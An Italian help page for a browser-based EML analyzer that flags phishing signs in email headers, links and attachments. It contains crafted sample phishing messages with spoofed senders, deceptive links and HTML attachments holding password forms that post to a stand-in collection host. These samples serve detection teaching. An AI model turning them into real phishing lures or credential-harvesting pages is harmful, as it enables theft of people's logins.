Email

Analizzatore EML

Funziona in localeNuovo

Lo strumento è in inglese; questa pagina ne fornisce una spiegazione nella tua lingua.

Usa Analizzatore EML

Cosa fa

Trascina un file .eml o incolla il sorgente di un messaggio per controllarne le intestazioni del mittente, la catena Received, i link e gli allegati. Tutto avviene nel tuo browser.

Funziona interamente nel browser: nulla di ciò che inserisci viene caricato online.

Come utilizzare Analizzatore EML

  1. Ottieni il messaggio grezzo. Salva l'e-mail come .eml o copiane il sorgente: Gmail Show original, Outlook View message source, Thunderbird o Apple Mail View source. I file .msg di Outlook non vengono letti.
  2. Caricalo. Trascina il file .eml sul riquadro o selezionalo (fino a 50 MB), oppure incolla il sorgente nel campo di testo (fino a 5 MB) e premi Analyze.
  3. Leggi il Summary. I risultati sono ordinati in segnali di pericolo, avvisi, note e controlli superati. Ogni riga indica l'intestazione, il link o l'allegato da cui proviene.
  4. Controlla i dettagli. Sotto il riepilogo compaiono le intestazioni del mittente, i domini confrontati con il dominio di From, i risultati di autenticazione, la catena Received, ogni link e ogni allegato.
  5. Prendi gli indicatori. Seleziona i tipi di indicatori che ti servono, poi copiali in forma grezza o defanged, scaricali come file .txt oppure usa Send to.

Esempio

Messaggio di phishing costruito ad arte

Input
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
	by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
	dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
	by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
	by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"

--b1
Content-Type: text/html; charset=utf-8

<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64

PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
Risultato (registrato il 2026-10-20)
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser

Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM	support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO	<billing[@]example[.]net>
RETURN-PATH	<bounce[@]mailer[.]example>
TO	<user[@]example[.]org>
SUBJECT	Action required: verify your account
DATE	Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID	<4471[@]mailer[.]example>
Domains compared with the From domain

From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.

HEADER	DOMAIN	COMPARED WITH FROM
Reply-To	example[.]net
…

Un nome visualizzato che si spaccia per support@example.com, Reply-To e DKIM su altri domini, DMARC fail, un link il cui testo mostra www.example.com ma che porta a login.example.net, e un allegato invoice.pdf.html con un modulo per la password.

Cosa verifica

SegnaleCosa significa
Nome visualizzato con un indirizzo e-mailPericolo quando il nome mostra un indirizzo e il mittente reale è un altro. Le app di posta spesso mostrano solo il nome.
Reply-To su un altro dominioUn avviso: la tua risposta andrebbe a un'organizzazione diversa dal mittente.
Authentication-ResultsDMARC fail e SPF fail sono segnali di pericolo; SPF softfail e DKIM fail sono avvisi. Conta solo il risultato aggiunto dal tuo provider.
Domini di Return-Path e DKIM d=Segnalati quando differiscono dal dominio di From. È normale per i servizi di posta massiva, ma DMARC richiede che uno dei due sia allineato.
Catena ReceivedGli hop sono elencati dal più vecchio, con i ritardi. Vengono segnalati un orario precedente a quello dell'hop precedente, un ritardo superiore a un'ora o un reverse DNS "may be forged".
Testo e destinazione dei linkPericolo quando il testo visibile indica un dominio e il link porta a un altro, o quando il testo prima di @ nasconde l'host reale. Vengono segnalati anche indirizzi IP diretti, punycode, accorciatori di URL e link incapsulati.
AllegatiVengono segnalati doppie estensioni, file che eseguono codice o si aprono in un browser, contenuto che non corrisponde all'estensione e trucchi con il carattere right-to-left override. Ogni file riceve SHA-256, SHA-1 e MD5.
Moduli e script nell'HTMLUn modulo con un campo password nel corpo o in un allegato è un segnale di pericolo. Codice script all'interno di un allegato è un avviso.

Altri esempi

Un link che nasconde un indirizzo IP

Input
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html

<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>
Risultato

1 segnale di pericolo, "1 link: text before "@" is ignored: the real host is 203.0.113.7", e 1 avviso, "1 link: link goes to a bare IP address". La tabella Links mostra l'indirizzo in forma defanged accanto al suo testo, Upgrade storage.

Una pagina HTML che si spaccia per PDF

Input
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"

--b
Content-Type: text/plain

Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"

<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--
Risultato

2 segnali di pericolo: l'allegato invoice.pdf "contains a form with a password field", e il suo "content is HTML document, not .pdf". La scheda dell'allegato mostra Content: HTML document e tre hash; la tabella Links elenca la destinazione del modulo con "form submits data to this address".

Domande frequenti

Cosa controlla EML Analyzer?

Decodifica le intestazioni e ogni parte MIME, confronta i domini di From, Reply-To, Return-Path, DKIM d= e Message-ID, e legge gli Authentication-Results. Elenca inoltre gli hop Received con i loro ritardi, ogni link con il suo testo visibile, e gli hash SHA-256, SHA-1 e MD5 di ogni allegato.

Può dimostrare che un'e-mail è phishing, o che è sicura?

No. Mostra fatti e segnali di allarme, non un verdetto: la posta massiva legittima ha spesso un Return-Path o un dominio DKIM diverso, e le firme DKIM vengono elencate ma non verificate crittograficamente. I file .msg di Outlook non sono supportati; salva prima il messaggio come .eml.

L'e-mail viene caricata da qualche parte?

No. Il file viene letto e analizzato nel tuo browser, l'HTML viene mostrato come testo e mai visualizzato come pagina, e nulla passa in rete. Il pulsante Send to passa un risultato alla pagina di un altro strumento tramite il session storage del browser.

A quale intestazione Authentication-Results crede?

A quella aggiunta dal tuo sistema di posta, riconosciuta dalla catena Received e contrassegnata come "added by the recipient's server". Le intestazioni più in basso nel messaggio possono essere scritte dal mittente, quindi la pagina ti dice di fidarti solo del risultato del tuo provider.

Può aprire un'e-mail allegata a un'altra e-mail?

Sì. Un messaggio allegato viene elencato con i suoi hash e un pulsante "Analyze the attached message" che lo apre nella stessa vista. "Back to the outer message" ti riporta indietro.

Perché alcuni indirizzi IP mancano dagli indicatori?

Gli indirizzi privati e locali e gli hop interni al sistema di posta del destinatario vengono esclusi, perché non indicano i server del mittente. Nemmeno gli indirizzi e-mail dei destinatari vengono mai inclusi.

Spiegazione dei termini

Ricerca PhishDestroy